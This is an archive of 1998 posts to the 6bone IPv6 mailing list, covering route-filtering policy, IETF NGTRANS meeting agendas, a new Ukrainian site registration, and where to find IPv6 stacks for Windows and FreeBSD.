>On Fri, 30 Oct 1998, Bob Fink wrote:
>
>->Rob,
>->
>->At 12:13 PM 10/30/98 -0500, Robert Rockell wrote:
>->>I think it is time for some sort of reccommended filter policy to be
>->>discussed, as most people out there (some of which who perform bad-route
>->>reports, yet don't filter their downstreams) are not using filters in place.
>->>For instance, I make the bad routing report every day in Merit's report, but
>->>my AS never shows up in the route's originating path). 
>->>I don't know if this should be added to the soon-to-be-expired
>->>draft-ietf-ngtrans-6bone-routing-01.tx paper, or put somewhere else, but I
>->>think it is time that this is more strictly enforced.
>->>
>->>Filtering via route-map on cisco products works well, but I don't know that
>->>it is widely implemented (Backbone experience, or other reasons). 
>->>
>->>If we are going to model the 6bone after real life, I think that this is
>->>going to be a crucial issue (especially if we are going to tackle the
>->>multi-homing problem; without filters, no one is encouraged to work on it,
>->>as both /48's are wandering around the backbone for a downstream in many
>->>instances...)
>->
>->I will happily add this to the agenda, and would very much like it 
>discussed.  I would apreciate it if you would present your ideas and 
>background of your point of view in a short (5-10 minute) presentation.
>->
>->
>->Thanks,
>->
>->Bob
>->


From 6bone-owner  Fri Oct 30 19:55:56 1998
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Date: 	Sat, 31 Oct 1998 04:55:16 +0100
From: Rafal Maszkowski <rzm@icm.edu.pl>
To: Robert Rockell <rrockell@sprint.net>, Bob Fink <rlfink@lbl.gov>
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Subject: Re: call for Orlando IETF agenda items
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On Fri, Oct 30, 1998 at 12:13:32PM -0500, Robert Rockell wrote:
> If we are going to model the 6bone after real life, I think that this is
> going to be a crucial issue (especially if we are going to tackle the
> multi-homing problem; without filters, no one is encouraged to work on it,
> as both /48's are wandering around the backbone for a downstream in many
> instances...)

I'm reading again the September discussion ('routing policy questions') and
still don't see any alternative to real BGP. I understand that resticted policy
makes the tables size much smaller and this is very important but there must be
some way to not to loose most of advantages of multihoming. My imagination is
to little to find it out myself. One of the answers I've heard is router
renumbering but it is still much less than real (BGP propagated) multihoming
even if we'd be technically able to renumber our nets every few minutes. So
what's the answer - or there is none yet and the problem is waiting for
somebody able to solve it smart?

R.

From 6bone-owner  Sat Nov  7 08:38:50 1998
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Date: Sat, 07 Nov 1998 08:38:40 -0800
To: 6bone@ISI.EDU
From: Bob Fink <rlfink@lbl.gov>
Subject: welcome to Ukraine
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6bone folk,

The Donetsk State Technical University in Ukraine have joined the 6bone.
That's 39 active countries on the 6bone.


Bob

===
ADDED IPV6UA... 
ipv6-site: IPV6UA 
origin: AS3261 
descr: IPv6 Networks for Ukraine 
Donetsk State Technical University 
country: UA 
prefix: 3FFE:2402::/32 
application: ping ns.ipv6.net.ua 
application: ping rtr.ipv6.net.ua 
tunnel: IPv6 in IPv4 ipv6.dgtu.donetsk.ua -> amber.inr.ac.ru INR BGP4+ 
contact: AK2-6BONE 
remarks: ipv6-site is operational 
notify: kad@dgtu.donetsk.ua 
changed: kad@dgtu.donetsk.ua 19981106 
source: 6BONE


From 6bone-owner  Wed Nov 11 16:33:45 1998
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From: Tony Hain <tonyhain@microsoft.com>
To: ngtrans@sunroof.Eng.Sun.COM, 6bone@ISI.EDU
Subject: FW: 43rd IETF-ORLANDO, FL: NGTRANS
Date: Wed, 11 Nov 1998 16:33:05 -0800
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FYI ...
This is to confirm two one-hour sessions for NGTRANS as follows:

	Tuesday, December 8 at 1300-1500
		other groups scheduled at that time: adslmib, dhc, ospf,
ipsec, tcpsat
	Tuesday, December 8 at 1415-1515
		other groups scheduled at that time: frnetmib, ssh, ospf,
ipsec, tcpsat


================================================================
Tony Hain			tonyhain@microsoft.com
<mailto:tonyhain@microsoft.com> 




From 6bone-owner  Thu Nov 12 08:58:38 1998
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To: ipng@sunroof.Eng.Sun.COM
From: pete@trumpet.com.au (Peter R. Tattam)
Subject: Trumpet Winsock IPv6 Implementation for Windows NT.
Date: Fri, 13 Nov 1998 03:59:58 +1100
cc: 6bone@ISI.EDU
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Just posted this...  Might be of interest to some people.

From: peternews@trumpet.com.au (Peter R. Tattam)
Newsgroups: trumpet.announce,alt.winsock.trumpet,comp.protocols.tcp-ip,comp.protocols.tcp-ip.ibmpc
Subject: Trumpet Winsock 4.1 Beta 3 Available (Windows NT version, also IPv6 support)
Date: Fri, 13 Nov 1998 03:07:05 +1100

This is the first version of Trumpet Winsock that supports Windows NT.  It 
also has IPv6 support.

At the moment, only NT 4.0 has been tested.

Location

ftp://ftp.trumpet.com/winsock/beta-4.1/twsk41b3.exe             USA

or

ftp://ftp.trumpet.com.au/winsock/beta-4.1/twsk41b3.exe  Aus

Installation on either Windows NT or Windows 95.

DISCLAIMER:

PLEASE NOTE. THE NT VERSION IS BETA SYSTEM SOFTWARE, AND AS SUCH COULD 
CAUSE DAMAGE TO YOUR NT FILE SYSTEM.  USE AT YOUR OWN RISK.  WE WILL ACCEPT NO 
LIABILITY FOR LOSS OF DATA OR DAMAGE TO YOUR COMPUTER.

Please contact me if there are difficulties in installation or uninstallation. 
While all due care has been taken to integrate the NT version into NT 4.0, 
there could still be some minor incompatibilities preventing some system 
applications from working.

bug reports to <peternews@trumpet.com.au>

Peter R. Tattam

--
Peter R. Tattam - Managing Director          
Trumpet Software International Pty Ltd.


--
Peter R. Tattam - Managing Director          
Trumpet Software International Pty Ltd.
Phone: +61-362-450220     Fax: +61-362-450210

From 6bone-owner  Thu Nov 12 14:13:54 1998
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Date: Thu, 12 Nov 1998 23:10:55 +0100
To: 6bone@ISI.EDU
From: "J. van Beek" <J.van.Beek@caiw.nl>
Subject: which software available on NT 4.0
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We have a client and a server NT 4.0 environment on a token ring base
network on IPv6. We want to test especially the Quality Of Service facility
of IPv6.

On the workstation it is possible to ping6 the server and by using the
Netmon application it looks as if there is a tunnel between the client and
the server.
(IPv6 encapsulated in IPv4) However it is clear of seeing the IPv6 headers
in the data. 

We want to use a FTP and a FTP daemon on IPv6 base for the NT 4
environment. Just for making a big file xfer to the server. Meanwhile we
want to use a TELNET application on IPv6 base to get profit of the QOS
feature.

Is there any public software available for testing? 



From 6bone-owner  Fri Nov 13 02:05:41 1998
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Date: Fri, 13 Nov 1998 10:05:26 +0000 (GMT)
From: Steve Hill <firefury@sucs.swan.ac.uk>
To: 6bone@ISI.EDU
Subject: Win98
Message-ID: <Pine.LNX.3.96.981113100356.27160A-100000@sucs.swan.ac.uk>
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I am interested in trying out IPv6 on my home network (1 Linux box running
kernel 2.1.127 and 2 win98 boxes).  Are there any IPv6 protocol drivers
available for Win98, and where can I get hold of them?

 - Steve


From 6bone-owner  Fri Nov 13 08:01:25 1998
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From: Gregg Levine <hansolofalcon@worldnet.att.net>
To: "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: Software for Windows
Date: Fri, 13 Nov 1998 11:01:56 -0500
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Hello from Gregg Levine at Jedi Knight Computers
For all who have asked about software for Win98, regretably nothing does 
exist for that version. But it does come with source code, so if you have 
access to Visual Studio 6.0 and everything that it asks for, then you are 
in.
The url is http://www.research.microsoft.com/msripv6/ here you will find 
everything that you need. If you have any questions, please write me 
privately.
Gregg Levine hansolofalcon@worldnet.att.net
~~This Signature supports the Rebel Alliance to Restore The Republic~~
"They were in the wrong place at the wrong time, naturally they became 
heroes"
Princess Leia Organa of Alderaan, Senator

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AAAAAAMAERAAAAAAAwCAEP////9AAAcwoIAzqx0PvgFAAAgwoIAzqx0PvgELAACACCAGAAAAAADA
AAAAAAAARgAAAAADhQAAAAAAAAMAAoAIIAYAAAAAAMAAAAAAAABGAAAAABCFAAAAAAAAAwAFgAgg
BgAAAAAAwAAAAAAAAEYAAAAAUoUAALcNAAAeACWACCAGAAAAAADAAAAAAAAARgAAAABUhQAAAQAA
AAQAAAA4LjAAAwAmgAggBgAAAAAAwAAAAAAAAEYAAAAAAYUAAAAAAAALAC+ACCAGAAAAAADAAAAA
AAAARgAAAAAOhQAAAAAAAAMAMIAIIAYAAAAAAMAAAAAAAABGAAAAABGFAAAAAAAAAwAygAggBgAA
AAAAwAAAAAAAAEYAAAAAGIUAAAAAAAAeAEGACCAGAAAAAADAAAAAAAAARgAAAAA2hQAAAQAAAAEA
AAAAAAAAHgBCgAggBgAAAAAAwAAAAAAAAEYAAAAAN4UAAAEAAAABAAAAAAAAAB4AQ4AIIAYAAAAA
AMAAAAAAAABGAAAAADiFAAABAAAAAQAAAAAAAAAeAD0AAQAAAAEAAAAAAAAAAwANNP03AACITQ==

------ =_NextPart_000_01BE0EF5.0EA93860--


From 6bone-owner  Fri Nov 13 08:31:39 1998
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Subject: Re: Software for Windows 
Date: Sat, 14 Nov 1998 01:31:23 +0900
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From: Jun-ichiro itojun Itoh <itojun@itojun.org>
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>Hello from Gregg Levine at Jedi Knight Computers
>For all who have asked about software for Win98, regretably nothing does 
>exist for that version. But it does come with source code, so if you have 
>access to Visual Studio 6.0 and everything that it asks for, then you are 
>in.

	Hitachi has IPv6 stack for Win95/NT too, but only works on limited
	set of network interface card.
	http://www.hitachi.co.jp/Prod/comp/network/pexv6-e.htm

itojun

From 6bone-owner  Tue Nov 17 11:35:36 1998
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Date: Tue, 17 Nov 1998 13:58:23 -0500
From: Ramesh Shanmuganathan <s.ramesh-rit@ieee.org>
Subject: Re: Win98
To: 6bone <6bone@ISI.EDU>, Steve Hill <firefury@sucs.swan.ac.uk>
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Hi! Steve,

I don't think Microsoft supports IPv6 on either Windows 95/98, but they do
on their NT platform.
They do have an separate experimental IPv6 stack available for tests
purposes at their site.

Regards,

Ramesh

_________________________________________________________________

Ramesh Shanmuganathan
233D Perkins Green
Perkins Road
Rochester
NY 14623
Tel: 716-424-8384/8796
E-mail: s.ramesh-rit@ieee.org
Internet: http://www.rit.edu/~rxs6469

>-----Original Message-----
>From: Steve Hill <firefury@sucs.swan.ac.uk>
>To: 6bone@ISI.EDU <6bone@ISI.EDU>
>Date: Tuesday, November 17, 1998 1:22 PM
>Subject: Win98
>
>
>>
>>I am interested in trying out IPv6 on my home network (1 Linux box running
>>kernel 2.1.127 and 2 win98 boxes).  Are there any IPv6 protocol drivers
>>available for Win98, and where can I get hold of them?
>>
>> - Steve
>>
>


From 6bone-owner  Tue Nov 17 18:19:50 1998
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Date: Tue, 17 Nov 1998 18:19:23 -0800
To: ngtrans@sunroof.eng.sun.com
From: Bob Fink <rlfink@lbl.gov>
Subject: draft ngtrans agenda for Orlando
Cc: 6bone@ISI.EDU
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NGtrans Folk,

This is my current ngtrans agenda for Orlando. As mentioned earlier, the time of the meeting is:

	Tuesday, December 8 at 1300-1515 

Please let me know if you want to add/change some agenda item before I submit it to the secretariat on Thursday evening.

Apologies if I've forgotten something, just let me know :-)


Thanks,

Bob

===
NGTRANS Charter Update, 5 mins - Tony Hain

Transition Mechanisms I-D to replace RFC 1933, 10 mins - Erik Nordmark

Last Call on SIIT for Experimental RFC, 5 mins - Erik Nordmark
<draft-ietf-ngtrans-siit-03.txt>

Last Call on NAT-PT for Experimental RFC, 5 mins - George Tsirtsis
<draft-ietf-ngtrans-natpt-03.txt>

Last Call on 6Bone Routing Practice for Informational RFC, 5 mins - Bertrand Buclin
<draft-ietf-ngtrans-6bone-routing-01.txt>

Categorizing Translators between IPv4 and IPv6, 5 mins - Kazu YAMAMOTO
<draft-ngtrans-translator-00.txt>

Dual Stack Hosts using the "Bump-in-the-Stack" Technique, 10 mins - Kazuaki Tsuchiya 
<draft-ietf-ngtrans-dual-stack-hosts-00.txt>

A SOCKS-based IPv6/IPv4 Translator Architecture, 15 mins - Hiroshi KITAMURA 
<draft-kitamura-socks-ipv6-trans-arch-00.txt>

Manipulating the 6bone registry objects through a web interface, 5 mins - Florent Parent

Filter Policy for the 6bone backbone, 5-10 mins - Rob Rockwell

A Production IPv6 Research & Education Networks Initiative, 5-10 mins, Bob Fink

6bone status report, 5-10 min - Bob Fink/David Kessens

-end 

From 6bone-owner  Wed Nov 18 06:12:28 1998
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From: Spencer Giacalone <Spencer.Giacalone@digital.com>
To: 6bone <6bone@ISI.EDU>, Steve Hill <firefury@sucs.swan.ac.uk>,
        "'Ramesh Shanmuganathan'" <s.ramesh-rit@ieee.org>
Subject: RE: Win98
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I've installed it and it installed fine. I still haven't got the tunnel
working though. Has anyone got tunnels in NT4? Here's the kicker. We use
DHCP. In my experience with tunnels (and logically) I'll need a static V4
address, right? 


MS V6:
http://research.microsoft.com/msripv6/


spence 

	----------
	From: 	Ramesh Shanmuganathan[SMTP:s.ramesh-rit@ieee.org]
	Reply To: 	Ramesh Shanmuganathan
	Sent: 	Tuesday, November 17, 1998 1:58 PM
	To: 	6bone; Steve Hill
	Subject: 	Re: Win98

	Hi! Steve,

	I don't think Microsoft supports IPv6 on either Windows 95/98, but
they do
	on their NT platform.
	They do have an separate experimental IPv6 stack available for tests
	purposes at their site.

	Regards,

	Ramesh

	_________________________________________________________________

	Ramesh Shanmuganathan
	233D Perkins Green
	Perkins Road
	Rochester
	NY 14623
	Tel: 716-424-8384/8796
	E-mail: s.ramesh-rit@ieee.org
	Internet: http://www.rit.edu/~rxs6469

	>-----Original Message-----
	>From: Steve Hill <firefury@sucs.swan.ac.uk>
	>To: 6bone@ISI.EDU <6bone@ISI.EDU>
	>Date: Tuesday, November 17, 1998 1:22 PM
	>Subject: Win98
	>
	>
	>>
	>>I am interested in trying out IPv6 on my home network (1 Linux box
running
	>>kernel 2.1.127 and 2 win98 boxes).  Are there any IPv6 protocol
drivers
	>>available for Win98, and where can I get hold of them?
	>>
	>> - Steve
	>>
	>


From 6bone-owner  Wed Nov 18 06:51:57 1998
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Date: Wed, 18 Nov 1998 09:29:17 -0500
From: Ramesh Shanmuganathan <s.ramesh-rit@ieee.org>
Subject: IPv6 and Microsoft - An excerpt from an Indepedndent study of mine on
 IPv6
To: Spencer Giacalone <Spencer.Giacalone@digital.com>, 6bone <6bone@ISI.EDU>,
        Steve Hill <firefury@sucs.swan.ac.uk>
Reply-to: Ramesh Shanmuganathan <s.ramesh-rit@ieee.org>
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Hi!

I was doing an independent study on IPv6 at Rochester Institute of
Technology as part my master's program.I did happen to look at Microsoft's
current state of IPv6 research and development. This is what I found from
there web site. I hope it's useful.

Regards,
Ramesh


Microsoft's implementation is a work-in-progress and does not yet support
all of the features of the IPv6 protocol. The features that are currently
supported are:
 Basic IPv6 header processing
 Hop-By-Hop and Destination Options headers
 Fragmentation header
 Neighbor Discovery
 Stateless address autoconfiguration
 ICMPv6
 Multicast Listener Discovery (a.k.a. IGMPv6)
 Automatic and configured tunnels
 IPv6 over IPv4 (Carpenter/Jung draft)
 UDP and TCP over IPv6
 Raw packet transmission

They do not (yet) support mobility, authentication, encryption, or routing
headers. Our next major release will have at least the minimum required
mobility support as well as partial authentication and security support.
They have done some interoperability testing at the UNH interoperability
Lab, and have a machine on the 6bone. They do especially encourage other
IPv6 implementers to download their code for testing.

The current release runs on NT 4 and NT 5 build 1773 (or later). Build 1773
was distributed at WinHEC '98. (NT 5 Beta 2 will be supported when it is
available. NT 5 Beta 1 is not supported.) At this time, Microsoft Research
has no plans to support this experimental stack on Windows 95 or Windows 98.
It is their choice to implement IPv6 in NT as a separate protocol stack from
the existing IPv4 stack. This allows for ease of experimentation with IPv6
without affecting existing IPv4 functionality.

They also have available applications and utilities such as ping6, tracert6,
ttcp6 (over both UDP and TCP), and ftp6/ftpd6. Those for which we can freely
distribute the source code are included in the release. For more info, visit
MS V6:http://research.microsoft.com/msripv6/


_________________________________________________________________

Ramesh Shanmuganathan
233D Perkins Green
Perkins Road
Rochester
NY 14623
Tel: 716-424-8384/8796
E-mail: s.ramesh-rit@ieee.org
Internet: http://www.rit.edu/~rxs6469




From 6bone-owner  Wed Nov 18 11:28:56 1998
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To: =?utf-8?B?J1JhbWVzaCBTaGFubXVnYW5hdGhhbic=?= <s.ramesh-rit@ieee.org>,
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Bugger.   I don't read this language.  Do you have a link to an English
language copy of this email?

Peace,
Penelope

> Hi!
> 
> I was doing an independent study on IPv6 at Rochester Institute of
> Technology as part my master's program.I did happen to look 
> at Microsoft's
> current state of IPv6 research and development. This is what 
> I found from
> there web site. I hope it's useful.
> 
> Regards,
> Ramesh
> 
> 
> Microsoft's implementation is a work-in-progress and does not 
> yet support
> all of the features of the IPv6 protocol. The features that 
> are currently
> supported are:
> . Basic IPv6 header processing
> . Hop-By-Hop and Destination Options headers
> . Fragmentation header
> . Neighbor Discovery
> . Stateless address autoconfiguration
> . ICMPv6
> . Multicast Listener Discovery (a.k.a. IGMPv6)
> . Automatic and configured tunnels
> . IPv6 over IPv4 (Carpenter/Jung draft)
> . UDP and TCP over IPv6
> . Raw packet transmission
> 
> They do not (yet) support mobility, authentication, 
> encryption, or routing
> headers. Our next major release will have at least the 
> minimum required
> mobility support as well as partial authentication and 
> security support.
> They have done some interoperability testing at the UNH 
> interoperability
> Lab, and have a machine on the 6bone. They do especially 
> encourage other
> IPv6 implementers to download their code for testing.
> 
> The current release runs on NT 4 and NT 5 build 1773 (or 
> later). Build 1773
> was distributed at WinHEC '98. (NT 5 Beta 2 will be supported 
> when it is
> available. NT 5 Beta 1 is not supported.) At this time, 
> Microsoft Research
> has no plans to support this experimental stack on Windows 95 
> or Windows 98.
> It is their choice to implement IPv6 in NT as a separate 
> protocol stack from
> the existing IPv4 stack. This allows for ease of 
> experimentation with IPv6
> without affecting existing IPv4 functionality.
> 
> They also have available applications and utilities such as 
> ping6, tracert6,
> ttcp6 (over both UDP and TCP), and ftp6/ftpd6. Those for 
> which we can freely
> distribute the source code are included in the release. For 
> more info, visit
> MS V6:http://research.microsoft.com/msripv6/
> 
> 
> _________________________________________________________________
> 
> Ramesh Shanmuganathan
> 233D Perkins Green
> Perkins Road
> Rochester
> NY 14623
> Tel: 716-424-8384/8796
> E-mail: s.ramesh-rit@ieee.org
> Internet: http://www.rit.edu/~rxs6469
> 
> 
> 

From 6bone-owner  Wed Nov 18 12:44:14 1998
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To: Spencer Giacalone <Spencer.Giacalone@digital.com>, 6bone
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        "'Ramesh Shanmuganathan'" <s.ramesh-rit@ieee.org>
Cc: "'Richard Draves'" <richdr@microsoft.com>
Subject: RE: IPv6 and Microsoft - An excerpt from an Independent study of mine on IPv6
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Ramesh,

Thanks for the update on Microsoft!

I' ve seen many emails around Microsoft IPv6 status and it would be just fair 
at this stage to ask directly Richard Draves, the man in charge at Microsoft, 
as we know that his team is actively testing its IPv6 implementation using one 
of our Telebit IPv6 routers connected to the 6Bone.

This might put this issue to bed!

VBR,
Latif
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Latif LADID
Chairman, Global-ISDN
-----------------------------
Vice President, Sales EMEA
Telebit Communications A/S
31, Domaine de Brameschhof
8290 KEHLEN - LUXEMBOURG
(:            + 352 - 30 71 35
Fax:            + 352 - 30 53 64					
*:            latif.ladid@tbit.dk	
Web Page:    http://www.tbit.dk	
The PAXNET Integrated Solution: IPv4 - IPv6 - ATM - ISDN - FR - X.25
@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@

----------
From: 	Ramesh Shanmuganathan[SMTP:s.ramesh-rit@ieee.org]
Reply To: 	Ramesh Shanmuganathan
Sent: 	Wednesday, November 18, 1998 03:29
To: 	Spencer Giacalone; 6bone; Steve Hill
Subject: 	IPv6 and Microsoft - An excerpt from an Indepedndent study of mine on 
IPv6

 <<File: ATT00001.txt>>


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Hi!

I was doing an independent study on IPv6 at Rochester Institute of
Technology as part my master's program.I did happen to look at =
Microsoft's
current state of IPv6 research and development. This is what I found =
from
there web site. I hope it's useful.

Regards,
Ramesh


Microsoft's implementation is a work-in-progress and does not yet =
support
all of the features of the IPv6 protocol. The features that are =
currently
supported are:
=EF=80=AE Basic IPv6 header processing
=EF=80=AE Hop-By-Hop and Destination Options headers
=EF=80=AE Fragmentation header
=EF=80=AE Neighbor Discovery
=EF=80=AE Stateless address autoconfiguration
=EF=80=AE ICMPv6
=EF=80=AE Multicast Listener Discovery (a.k.a. IGMPv6)
=EF=80=AE Automatic and configured tunnels
=EF=80=AE IPv6 over IPv4 (Carpenter/Jung draft)
=EF=80=AE UDP and TCP over IPv6
=EF=80=AE Raw packet transmission

They do not (yet) support mobility, authentication, encryption, or =
routing
headers. Our next major release will have at least the minimum required
mobility support as well as partial authentication and security support.
They have done some interoperability testing at the UNH interoperability
Lab, and have a machine on the 6bone. They do especially encourage other
IPv6 implementers to download their code for testing.

The current release runs on NT 4 and NT 5 build 1773 (or later). Build =
1773
was distributed at WinHEC '98. (NT 5 Beta 2 will be supported when it is
available. NT 5 Beta 1 is not supported.) At this time, Microsoft =
Research
has no plans to support this experimental stack on Windows 95 or Windows =
98.
It is their choice to implement IPv6 in NT as a separate protocol stack =
from
the existing IPv4 stack. This allows for ease of experimentation with =
IPv6
without affecting existing IPv4 functionality.

They also have available applications and utilities such as ping6, =
tracert6,
ttcp6 (over both UDP and TCP), and ftp6/ftpd6. Those for which we can =
freely
distribute the source code are included in the release. For more info, =
visit
MS V6:http://research.microsoft.com/msripv6/


_________________________________________________________________

Ramesh Shanmuganathan
233D Perkins Green
Perkins Road
Rochester
NY 14623
Tel: 716-424-8384/8796
E-mail: s.ramesh-rit@ieee.org
Internet: http://www.rit.edu/~rxs6469



------ =_NextPart_000_01BE133C.70D31600--


From 6bone-owner  Wed Nov 18 13:04:32 1998
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Date: Wed, 18 Nov 1998 15:57:09 -0500
From: Ramesh Shanmuganathan <s.ramesh-rit@ieee.org>
Subject: Re: IPv6 and Microsoft - An excerpt from an Independent study of
 mineon IPv6
To: "Latif LADID ( latif.ladid@tbit.dk)" <Latif.LADID@village.uunet.lu>,
        Spencer Giacalone <Spencer.Giacalone@digital.com>,
        6bone <6bone@ISI.EDU>, Steve Hill <firefury@sucs.swan.ac.uk>
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I guess that's the best.....to have it from the horse's mouth.

Regards,
Ramesh
_________________________________________________________________

Ramesh Shanmuganathan
233D Perkins Green
Perkins Road
Rochester
NY 14623
Tel: 716-424-8384/8796
E-mail: s.ramesh-rit@ieee.org
Internet: http://www.rit.edu/~rxs6469

-----Original Message-----
From: Latif LADID ( latif.ladid@tbit.dk) <Latif.LADID@village.uunet.lu>
To: Spencer Giacalone <Spencer.Giacalone@digital.com>; 6bone
<6bone@ISI.EDU>; Steve Hill <firefury@sucs.swan.ac.uk>; 'Ramesh
Shanmuganathan' <s.ramesh-rit@ieee.org>
Cc: 'Richard Draves' <richdr@microsoft.com>
Date: Wednesday, November 18, 1998 3:45 PM
Subject: RE: IPv6 and Microsoft - An excerpt from an Independent study of
mineon IPv6


>Ramesh,
>
>Thanks for the update on Microsoft!
>
>I' ve seen many emails around Microsoft IPv6 status and it would be just
fair
>at this stage to ask directly Richard Draves, the man in charge at
Microsoft,
>as we know that his team is actively testing its IPv6 implementation using
one
>of our Telebit IPv6 routers connected to the 6Bone.
>
>This might put this issue to bed!
>
>VBR,
>Latif
>@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
>Latif LADID
>Chairman, Global-ISDN
>-----------------------------
>Vice President, Sales EMEA
>Telebit Communications A/S
>31, Domaine de Brameschhof
>8290 KEHLEN - LUXEMBOURG
>(:            + 352 - 30 71 35
>Fax:            + 352 - 30 53 64
>*:            latif.ladid@tbit.dk
>Web Page:    http://www.tbit.dk
>The PAXNET Integrated Solution: IPv4 - IPv6 - ATM - ISDN - FR - X.25
>@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@
>
>----------
>From: Ramesh Shanmuganathan[SMTP:s.ramesh-rit@ieee.org]
>Reply To: Ramesh Shanmuganathan
>Sent: Wednesday, November 18, 1998 03:29
>To: Spencer Giacalone; 6bone; Steve Hill
>Subject: IPv6 and Microsoft - An excerpt from an Indepedndent study of mine
on
>IPv6
>
> <<File: ATT00001.txt>>
>
>


From 6bone-owner  Thu Nov 19 17:21:32 1998
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Date: Thu, 19 Nov 1998 17:21:15 -0800
To: ngtrans@sunroof.eng.sun.com
From: Bob Fink <rlfink@lbl.gov>
Subject: final ngtrans agenda for Orlando 
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NGtrans Folk,

This is the final ngtrans agenda for Orlando (at least until the meeting :-). 

NGtrans WG meeting time is:

	Tuesday,  December  8 at 1300-1515 

For your reference, the IPng WG meeting times are:

	Thursday, December 10 at 1530-1730 	
	Friday,   December 11 at 0900-1130 

If I've forgotten something, just let me know before the meeting.


Thanks,

Bob

===
NGTRANS Charter Update, 5 mins - Tony Hain

Transition Mechanisms I-D to replace RFC 1933, 10 mins - Erik Nordmark

Last Call on SIIT for Experimental RFC, 5 mins - Erik Nordmark
<draft-ietf-ngtrans-siit-03.txt>

Last Call on NAT-PT for Experimental RFC, 5 mins - George Tsirtsis
<draft-ietf-ngtrans-natpt-03.txt>

Last Call on 6Bone Routing Practice for Informational RFC, 5 mins - Bertrand Buclin
<draft-ietf-ngtrans-6bone-routing-01.txt>

Categorizing Translators between IPv4 and IPv6, 5 mins - Kazu YAMAMOTO
<draft-ngtrans-translator-00.txt>

Dual Stack Hosts using the "Bump-in-the-Stack" Technique, 10 mins - Kazuaki Tsuchiya 
<draft-ietf-ngtrans-dual-stack-hosts-00.txt>

A SOCKS-based IPv6/IPv4 Translator Architecture, 15 mins - Hiroshi KITAMURA 
<draft-kitamura-socks-ipv6-trans-arch-00.txt>

SOCKS64: An IPv4-IPv6 intercommunication gateway using SOCKS5 protocol, 5 mins - Kobayashi Shinji
<draft-jinzaki-socks64-00.txt>

A Dynamic Tunneling Approach, 15 mins - Hossam Afifi & Laurent Toutain

Manipulating the 6bone registry objects through a web interface, 5 mins - Florent Parent

6bone Routing Behaviour, 5-10 mins, Ivano Guardini

Filter Policy for the 6bone backbone, 5-10 mins - Rob Rockell

A Production IPv6 Research & Education Networks Initiative, 5-10 mins, Bob Fink

6bone status report, 5-10 min - Bob Fink/David Kessens

-end 

From 6bone-owner  Thu Nov 19 17:44:41 1998
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Date: Thu, 19 Nov 1998 17:44:23 -0800
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6BONE Folk,

Here is the flyer for the IP Future'98 Convention in Paris, 15-17 December 1998.

	http://www.6bone.net/ip3.pdf


The agenda is mostly about IPv6 and looks quite good!

Alain Durand, one of the organizers, tells me he has arranged for a 25% discount for 6bone participants.


Gee, if I could just get to Paris on such short notice :-(


Thanks,

Bob 

From 6bone-owner  Fri Nov 20 04:57:16 1998
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I am looking for IPv6 applications and benchmarks (multicast and
unicast).

Thanks

Nuno Veiga


From 6bone-owner  Fri Nov 20 07:36:41 1998
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Philip Blundell wrote:

> In message <36556715.11B9DF4E@dei.uc.pt>, Nuno Veiga writes:
> >I am looking for IPv6 applications and benchmarks (multicast and
> >unicast).
>
> For which operating system?
>
> p.

We are working with FreeBSD.
Thanks!


From 6bone-owner  Sat Nov 21 04:03:59 1998
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I thought Trumpet Software was working on a iPv6 stack for their winsock
stuff?  You might want to look at them.

-tkp 
[http://home.earthlink.net/~teknopup]
-On 11/17/1998, Ramesh Shanmuga tuned the radio for Re: Win98-
---[quoted material follows]---
Hi! Steve,
I don't think Microsoft supports IPv6 on either Windows 95/98, but they do
on their NT platform.
They do have an separate experimental IPv6 stack available for tests
purposes at their site.
Regards,
Ramesh
_________________________________________________________________
Ramesh Shanmuganathan
233D Perkins Green
Perkins Road
Rochester
NY 14623
Tel: 716-424-8384/8796
E-mail: s.ramesh-rit@ieee.org
Internet: http://www.rit.edu/~rxs6469
>-----Original Message-----
>From: Steve Hill <firefury@sucs.swan.ac.uk>
>To: 6bone@ISI.EDU <6bone@ISI.EDU>
>Date: Tuesday, November 17, 1998 1:22 PM
>Subject: Win98
>>I am interested in trying out IPv6 on my home network (1 Linux box running
>>kernel 2.1.127 and 2 win98 boxes).  Are there any IPv6 protocol drivers
>>available for Win98, and where can I get hold of them?
---[end quoted material]-------


--- FILES=30, BUFFERS=40, Ball on the 20, 1st and 10.
*** MYREADER v.2.54g.19981120.r21; Made for Net-Tamer.


From 6bone-owner  Sat Nov 21 09:15:28 1998
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Subject: Re: IPv6 applications and benchmarks (multicast and unicast)
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Finally a question I can answer!

Check out http://www.kame.net they have a version for FreeBSD.  I have
been following it for a while.  It sounds like they will go mainstream
soon, include their source code into CV SUP system.  I have not tried
it.  I am currenttly playing with BSDI 4.0, it has IPv6 stack included
out of the box.  I have another box that I will install it on, in the
future.

Hope this helps.

Nuno Veiga wrote:

> Philip Blundell wrote:
>
> > In message <36556715.11B9DF4E@dei.uc.pt>, Nuno Veiga writes:
> > >I am looking for IPv6 applications and benchmarks (multicast and
> > >unicast).
> >
> > For which operating system?
> >
> > p.
>
> We are working with FreeBSD.
> Thanks!




From 6bone-owner  Mon Nov 23 02:20:29 1998
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Date: Mon, 23 Nov 1998 10:19:27 +0000
From: "Keighery, Kevin" <kmkeighery@meto.gov.uk>
Subject: RE: IPv6 applications and benchmarks (multicast and unicast)
To: 6bone <6bone@ISI.EDU>
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Hi All,

I already replied to Nuno, but the following might be of interest to
everyone. There are some comprehensive implementation lists at:

http://playground.sun.com/pub/ipng/html/ipng-implementations.html - the main
IPv6 website

http://www.cs-ipv6.lancs.ac.uk/ 

and also:

http://www01/iss/projects/IPv6/Host-impl.html#trumpet

http://www01/iss/projects/IPv6/Host-impl.html#checkp

Cheers
Kevin

> -----Original Message-----
> From:	Nuno Veiga [SMTP:nunov@dei.uc.pt]
> Sent:	Friday, November 20, 1998 12:57 PM
> To:	6bone
> Cc:	Nuno Veiga
> Subject:	IPv6 applications and benchmarks (multicast and unicast)
> 
> I am looking for IPv6 applications and benchmarks (multicast and
> unicast).
> 
> Thanks
> 
> Nuno Veiga

From 6bone-owner  Mon Nov 23 06:52:33 1998
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	(envelope-from pete@trumpet.com.au)
To: 6bone@ISI.EDU
From: pete@trumpet.com.au (Peter R. Tattam)
Subject: Pings stats from down under!!!
Date: Tue, 24 Nov 1998 01:52:44 +1100
Message-ID: <3bv9d0l$1ms@lana-2.trumpet.com.au>
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Anyone who wants a looks at what the 6bone looks like from here in Australia..

	http://www.ip6.trumpet.net/pingstat/6bone-stats.html

